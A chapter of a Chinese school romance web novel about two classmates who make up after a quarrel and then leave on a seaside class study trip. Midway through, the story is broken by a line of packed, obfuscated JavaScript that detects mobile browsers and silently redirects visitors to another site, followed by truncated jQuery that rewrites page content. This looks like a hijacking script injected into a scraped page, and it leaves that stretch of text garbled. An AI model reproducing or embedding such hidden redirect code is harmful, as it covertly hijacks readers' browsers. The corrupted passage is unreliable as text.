林柚低着头，眨巴了两下眼睛，又抬头看了下许之洋的表情，小声嘟囔道：“我哪有撒谎。”


    他明显不信她那一套说辞，微微抬高了声音：“嗯？”


    “反正不是你们想的那样？”


    “我们想的哪样？”


    有些咄咄逼人的语气。


    许之洋很少这样跟她说话，林柚有些懵，又莫名感觉有些委屈，高二下学期的学业任务很重，她还得抽空准备竞赛，好不容易抽出点时间来调查火灾真相，还得被他们这样连番盘问。


    她闷闷道：“不用你管，又不关你的事。”


    就这么一句，她说出口就有点后悔。


    许之洋自嘲地笑了一声：“好、好，确实不关我的事。”


    林柚想开口，却正好碰到班主任严拓来班级巡查自习情况，厉声呵斥道：“你们两个，不好好自习，在这干什么呢？”


    两个人一前一后被轰回教室，空气中都炸开一种‘这两个人好像不对付’的信号。正在自习的方梦然看到这一幕，有些讪讪的。


    班里响起窸窸窣窣的议论。


    严拓猛拍了两下桌子：“你说说你们，都高三了，还整天干些有的没的。”


    他扫了一眼还黑着脸的许之洋，嘲讽道：“晚自习不好好学习，借着打水的名义搞些小动作，怎么？时间就是让你们这样来浪费的？”


    接着又是长篇大论的教导，无非是时间紧任务重，考入一班不是梦之类的。


    方贺看到许之洋的黑脸，和他周遭零下二十摄氏度的氛围，好奇道：“洋哥，你怎么出去这么一会儿气成这样？”


    许之洋没理他。


    方贺接着说：“难道你和柚子姐吵架了？”


    许之洋盯他一眼，那眼神仿佛在说，你再问你就死定了。


    方贺连忙噤声。


    这下看来，这架吵得不轻。


    ——


    下晚自习后，林柚慢悠悠的收拾着东西，等到教室里的人都差不多走完了，林柚才起身。


    眼见着林柚起身，许之洋也跟着站了起来。


    就这么亦步亦趋地跟在她身后。


    绕出教室，走出校门。


    林柚脚步停住。


    许之洋也跟着停住。


    林柚忍不住笑了，她怎么感觉他好像有点幼稚？


    其实在上最后一节晚自习时，她就为自己脱口而出的那句话感到后悔。


    她转过头，扯了一下许之洋的衣服，轻轻摇晃两下，语气软软的：“哎，许之洋，你的电动车呢，走回去好累的。”


    许之洋不好意思的别过头，嘴上倒是还在傲娇：“不是说不关我的事吗？”


    林柚面不改色的否认：“谁说的，肯定不是我。”


    她怎么能说谎说得这么自然，脸不红心不跳的。


    许之洋无奈低头，就看到林柚眼睛忽闪忽闪，满眼真挚的看向他。


    路灯的光打下来，晕在眼睛里，显得亮晶晶的。


    许之洋满脸通红，不自在地摸了摸脖子：“是我听错了。”


    林柚继续摇了两下他的袖子，“是吗？那你下次不许再凶我啦。”


    许之洋连忙否认：“我哪有。”


    那一抹红晕已经悄悄蔓延到了耳根。


    许之洋莫名感觉自己的脸有些发烫，伸手摸了摸，手掌冰冰凉凉的，他摩挲了几下。


    林柚弯起漂亮的眼眸，就这么看着他笑。


    许之洋感觉心跳骤然加速，扑通扑通的，整张脸都涨红了，他转头道：“我去推车。”


    落荒而逃。


    ——


    刚进入四月，春寒料峭之际，南华附中开展了为期四天的研学，二十一班的研学选址在隔壁江宁市的海滨小镇。


    班主任刚在课堂上宣布这个消息，台下就一片沸腾。


    方梦然一脸期待的说：“研学，不就是去旅行吗？我还没去过江宁市呢，我爸妈倒是撇下我去那边旅过游，说风景特好！”


    林沐沐也被她煽动了，充满了期待：“我听说一班和我们班的研学地点在一起！那我和冯若兴大神岂不是可以看同一片海！”


    “咦～看同一片海~”方梦然用肉麻的语气重复了一遍。


    林沐沐轻推了她一下：“哼，我哪有像你这样说话！”


    “柚子，你呢？去过江宁市吗？”


    林柚点点头：“不过是很小的时候去过的，八九岁吧。”


    林柚有些印象，那次暑期旅行，许之洋父母抽不出空，拖林父林母把许之洋也捎上，一起旅行的时候，经常被人当作一家四口。


    说起来，也算故地重游了。


    林柚记得，小时候的许之洋还不会游泳，却又贪玩，裹着救生服，穿着游泳圈在浅水区玩耍，显得肉嘟嘟的，一个浪打过来，都能给他吓得半死。


    想到这里，林柚忍不住笑出声。


    “柚子，你笑什么？”


    林柚看向正在和方贺兴冲冲规划行程的许之洋，随口道：“我就是在想，到时候要不要带泳衣。”


    方梦然笃定道：“废话！去海边当然要带啦！”


    林沐沐不客气地打断她：“你是笨蛋吗？现在才四月，下去游个泳你能冻死。”


    “我不管，那我也要带！”


    “……”


    ——


    四月三日，天晴，宜远足。


    启程的大巴一排排的停在学校门口，林柚把行李箱从出租车后备箱拎下来，吃力地闷哼一声。


    明明研学才四天，她也不知道自己一股脑装了些什么东西，怎么这么重。


    拎着的行李被一双手接过，林柚回头一看，是冯若兴。


    耳边响起温润好听的声音：“我们两个班的车是5号和6号，我带你过去吧。”


    “好。”林柚乖巧地点点头，接过冯若兴另一只手拎着的包，“我帮你拿这个吧。”


    两人一前一后的走向大巴车，突然，冯若兴感觉好像手中的箱子好像被扯住了。


    他回头看，许之洋正满脸不悦地看着他。


    那眼神，有点不友善。


    “她是我们班的，我帮他拎就可以了，不劳烦外人。”


    许之洋把手中的行李箱和他转了个圈交换了一下，“诺，你们班的人在这，你给她拿吧。”


    旁边的许云梦气得跺了跺脚：“哥，那是我的箱子！你怎么这样啊！”


    冯若兴笑着接过来：“我帮你拿。”


    许云梦冷哼一声，把箱子抢过来：“谁要你帮忙！”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14353183|152723||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    然后气鼓鼓的，拎着箱子一步一顿地往前拖行。


    冯若兴无奈的笑笑，追上去帮她提着其他行李。


    ——


    晃晃悠悠的开了一路，到江宁市的时候已经是中午，转车坐船到镇上的时候，已经接近下午三点。


    班主任严拓和班长孙雨在大巴门口，逐一翻查众人携带的行李箱和包，把其中的零食、电子物品清点出来，统一收缴。


    班主任严拓道：“出发前就跟你们说了，不允许带零食、电子设备、游戏类产品和与研学无关的产品，你们是来课外实践拓展学习的，又不是来玩的！”


    一个正被收缴行李箱的女生举起手，柔弱道：“严老师，我有点低血糖，能不能留一包糖。”


    严拓看了她一眼，不耐烦地从箱子里拿出一包糖给她。


    其他人也纷纷附和：“老师我也低血糖！”


    “老师我有胃病，不能不吃东西！”


    “……”


    “行了！”严拓严肃道，“同行的有两名校医，镇上也有诊所，发给你们的地图上都有，低血糖就去挂葡萄糖，胃疼就去看病！”


    台下的同学兴致索然，嘁的噤声。


    方梦然有些担忧，悄声和林柚说：“可是我真有胃病，怎么办……”


    林柚拍了拍她的手以示安慰，轻声道：“没事，到时候我给你想办法。”


    孙雨正好翻到方梦然的行李箱，呀了一声，惊讶道：“方梦然，你怎么还带泳衣……”


    旁边的同学都好奇的看过来。


    方梦然不悦的把行李箱砰的合上：“关你什么事？你这样翻行李箱是侵犯别人隐私。”


    严拓走过来查看情况：“这是学校规定，这次研学是让你们来体验生活，让你们养成良好的自律习惯的，不是让你来玩乐的！你要么现在给我回去！”


    旁边的同学议论纷纷，方梦然霎时觉得有些丢脸，半句反驳的话也说不出来。


    坐在前排的林沐沐转头道：“为啥不能带啊，我也带了，谁还没有个穿衣自由了？我带泳衣就一定要游泳吗？规定里也没说不能带什么衣服吧。”


    “就是就是。”林柚附和道，有几个其他同学也纷纷应和。


    “你这是胡搅……”孙雨还没说完，就被严拓打断，“按规定来，快点检查登记完。”


    眼看着孙雨吃瘪，林沐沐得意的哼了一声，转头去安慰方梦然。


    “你平时和我斗嘴的气势呢！”


    “我这叫不与小人论长短！”


    “……”


    等排查完行李，登记好信息，拿到地图、行程表、房卡的时候已接近黄昏。


    看到行程表的那一刻，林柚感觉有些头大。


    一旁的林沐沐和方梦然更是感觉天都塌了，叫苦不迭。


    “明天要徒步十公里，疯了吧！这小镇绕一圈有十公里吗？”


    “徒步的时候连上厕所的时间都得统一，这什么变态规定。”


    “说好的旅行呢，说好的吹海风赏美景呢…”


    “都在梦里了！”


    “妈妈我想回家……”


    林柚打断他们的抱怨：“五点集合吃饭，快点收拾东西吧，六点还要晚训呢。”


    两人异口同声：“老天爷啊……”